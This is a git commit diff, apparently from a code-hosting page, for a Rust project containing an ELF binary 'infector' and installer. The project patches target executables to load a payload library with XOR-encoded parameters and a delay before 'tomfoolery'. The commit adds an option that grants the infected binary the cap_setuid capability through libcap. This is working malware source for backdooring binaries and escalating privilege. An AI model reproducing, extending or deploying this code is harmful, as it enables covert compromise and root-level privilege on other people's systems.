feat: added the ability to set CAP_SETUID
This commit is contained in:
parent
8d47ac128d
commit
becd0c2f56
3
Cargo.lock
generated
3
Cargo.lock
generated
@ -3258,6 +3258,7 @@ dependencies = [
|
||||
name = "sparse-unix-infector"
|
||||
version = "2.0.0"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"errno",
|
||||
"libc",
|
||||
"sparse-actions",
|
||||
@ -3267,7 +3268,9 @@ dependencies = [
|
||||
name = "sparse-unix-installer"
|
||||
version = "2.0.0"
|
||||
dependencies = [
|
||||
"errno",
|
||||
"hex",
|
||||
"libc",
|
||||
"rand 0.9.0",
|
||||
"sparse-actions",
|
||||
"sparse-unix-infector",
|
||||
|
||||
@ -7,3 +7,4 @@ version.workspace = true
|
||||
libc = "0.2.169"
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
errno = "0.3"
|
||||
cfg-if = "1.0.0"
|
||||
|
||||
@ -1,10 +1,11 @@
|
||||
use std::{
|
||||
io::{prelude::*, Error, SeekFrom},
|
||||
os::fd::AsRawFd,
|
||||
path::Path,
|
||||
slice,
|
||||
};
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
use sparse_actions::payload_types::XOR_KEY;
|
||||
|
||||
mod elf_types;
|
||||
use elf_types::*;
|
||||
@ -22,6 +23,7 @@ pub fn infect_elf_binary<BP, LP>(
|
||||
binary_path: BP,
|
||||
target_library_path: LP,
|
||||
mut sparse_parameters: Vec<u8>,
|
||||
#[cfg(target_os = "linux")] add_setuid_capability: bool,
|
||||
) -> Result<(), Error>
|
||||
where
|
||||
BP: AsRef<Path>,
|
||||
@ -71,99 +73,20 @@ where
|
||||
};
|
||||
|
||||
if let ElfIsa::Amd64 = isa {
|
||||
infect_64bit_elf_binary(target_library_path, binary, binary_data)?;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
use libc::c_int;
|
||||
|
||||
#[repr(C)]
|
||||
struct CapT {
|
||||
__private: [u8; 0],
|
||||
}
|
||||
|
||||
type CapValue = c_int;
|
||||
|
||||
// cap_flag_t
|
||||
const CAP_EFFECTIVE: u8 = 0;
|
||||
const CAP_PERMITTED: u8 = 1;
|
||||
const CAP_INHERITABLE: u8 = 2;
|
||||
|
||||
// cap_flag_value_t
|
||||
const CAP_SET: u8 = 0;
|
||||
|
||||
extern "C" {
|
||||
fn cap_free(cap: *mut CapT) -> c_int;
|
||||
fn cap_get_file(filename: *const i8) -> *mut CapT;
|
||||
fn cap_set_flag(
|
||||
cap: *mut CapT,
|
||||
cap_flag: u8,
|
||||
count: c_int,
|
||||
cap_flag_value: *const CapValue,
|
||||
cap_flag_value_t: u8,
|
||||
) -> c_int;
|
||||
fn cap_set_file(filename: *const i8, cap: *mut CapT) -> c_int;
|
||||
}
|
||||
|
||||
// CAP_SETUID
|
||||
let cap_list = [7];
|
||||
|
||||
unsafe {
|
||||
let path = std::ffi::CString::new(
|
||||
binary_path
|
||||
.as_ref()
|
||||
.to_str()
|
||||
.expect("could not convert binary path to string"),
|
||||
)
|
||||
.expect("could not convert binary path to string");
|
||||
|
||||
let current_caps = cap_get_file(path.as_ptr());
|
||||
|
||||
println!("Result of getting caps: {}", errno::errno());
|
||||
|
||||
println!(
|
||||
"Result of setting effective caps: {} (errno: {})",
|
||||
cap_set_flag(
|
||||
current_caps,
|
||||
CAP_EFFECTIVE,
|
||||
1,
|
||||
&cap_list[0] as *const _,
|
||||
CAP_SET
|
||||
),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
println!(
|
||||
"Result of setting permitted caps: {} (errno: {})",
|
||||
cap_set_flag(
|
||||
current_caps,
|
||||
CAP_PERMITTED,
|
||||
1,
|
||||
&cap_list[0] as *const _,
|
||||
CAP_SET
|
||||
),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
println!(
|
||||
"Result of setting inheritable caps: {} (errno: {})",
|
||||
cap_set_flag(
|
||||
current_caps,
|
||||
CAP_INHERITABLE,
|
||||
1,
|
||||
&cap_list[0] as *const _,
|
||||
CAP_SET
|
||||
),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
println!(
|
||||
"Result of saving flags: {}, {}",
|
||||
cap_set_file(path.as_ptr(), current_caps),
|
||||
errno::errno()
|
||||
);
|
||||
|
||||
cap_free(current_caps);
|
||||
cfg_if::cfg_if! {
|
||||
if #[cfg(target_os = "linux")] {
|
||||
infect_64bit_elf_binary(
|
||||
target_library_path,
|
||||
binary,
|
||||
binary_data,
|
||||
add_setuid_capability,
|
||||
)?;
|
||||
} else {
|
||||
infect_64bit_elf_binary(
|
||||
target_library_path,
|
||||
binary,
|
||||
binary_data
|
||||
)?;
|
||||
}
|
||||
}
|
||||
|
||||
@ -178,10 +101,11 @@ fn infect_64bit_elf_binary<LP, F>(
|
||||
library_path: LP,
|
||||
mut binary: F,
|
||||
mut binary_data: Vec<u8>,
|
||||
#[cfg(target_os = "linux")] add_setuid_capability: bool,
|
||||
) -> Result<(), Error>
|
||||
where
|
||||
LP: AsRef<Path>,
|
||||
F: Read + Write + Seek,
|
||||
F: Read + Write + Seek + AsRawFd,
|
||||
{
|
||||
let Some(library_name) = library_path.as_ref().file_name() else {
|
||||
eprintln!("Library name does not contain a valid file path!");
|
||||
@ -359,5 +283,30 @@ where
|
||||
binary.seek(SeekFrom::Start(0))?;
|
||||
binary.write(&binary_data)?;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
if add_setuid_capability {
|
||||
use libc::c_int;
|
||||
|
||||
type CapT = libc::c_void;
|
||||
|
||||
unsafe extern "C" {
|
||||
fn cap_free(cap: *mut CapT) -> c_int;
|
||||
fn cap_set_fd(fd: c_int, cap: *mut CapT) -> c_int;
|
||||
fn cap_from_text(caps: *const libc::c_char) -> *mut CapT;
|
||||
}
|
||||
|
||||
// CAP_SETUID is 7
|
||||
// CAP_NET_RAW is 13
|
||||
// CAP_SETFCAP is 31
|
||||
// CAP_FOWNER is 3
|
||||
|
||||
unsafe {
|
||||
let current_caps = cap_from_text(c"cap_setuid=eip".as_ptr());
|
||||
cap_set_fd(binary.as_raw_fd(), current_caps);
|
||||
cap_free(current_caps);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@ -4,7 +4,9 @@ edition = "2024"
|
||||
version.workspace = true
|
||||
|
||||
[dependencies]
|
||||
errno = "0.3.10"
|
||||
hex = "0.4.3"
|
||||
libc = "0.2.169"
|
||||
rand = "0.9.0"
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }
|
||||
|
||||
@ -33,6 +33,11 @@ struct Options {
|
||||
/// How long to randomly wait (maximum) after being loaded before causing tomfoolery
|
||||
#[structopt(long, default_value = "0")]
|
||||
delay_seconds_maximum: u8,
|
||||
|
||||
/// Whether or not to set the SETUID capability on a binary
|
||||
#[cfg(target_os = "linux")]
|
||||
#[structopt(long)]
|
||||
set_setuid_capability: bool,
|
||||
}
|
||||
|
||||
fn main() -> Result<(), Error> {
|
||||
@ -78,7 +83,16 @@ fn main() -> Result<(), Error> {
|
||||
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
||||
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
infect_elf_binary(
|
||||
opts.binary,
|
||||
opts.library_path,
|
||||
parameters_buffer,
|
||||
opts.set_setuid_capability,
|
||||
)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@ -1,34 +1,13 @@
|
||||
use std::{
|
||||
io::{prelude::*, Error, SeekFrom},
|
||||
io::{prelude::*, Error},
|
||||
path::Path,
|
||||
slice,
|
||||
};
|
||||
|
||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||
use sparse_actions::payload_types::XOR_KEY;
|
||||
|
||||
mod pe_types;
|
||||
use pe_types::*;
|
||||
|
||||
macro_rules! dbgX {
|
||||
() => {
|
||||
eprintln!("[{}:{}:{}]", file!(), line!(), column!())
|
||||
};
|
||||
($val:expr $(,)?) => {
|
||||
// Use of `match` here is intentional because it affects the lifetimes
|
||||
// of temporaries - https://stackoverflow.com/a/48732525/1063961
|
||||
match $val {
|
||||
tmp => {
|
||||
eprintln!("[{}:{}:{}] {} = {:X?}",
|
||||
file!(), line!(), column!(), stringify!($val), &tmp);
|
||||
tmp
|
||||
}
|
||||
}
|
||||
};
|
||||
($($val:expr),+ $(,)?) => {
|
||||
($(dbgX!($val)),+,)
|
||||
};
|
||||
}
|
||||
|
||||
#[cfg(not(debug_assertions))]
|
||||
pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LIBRARY"));
|
||||
#[cfg(debug_assertions)]
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user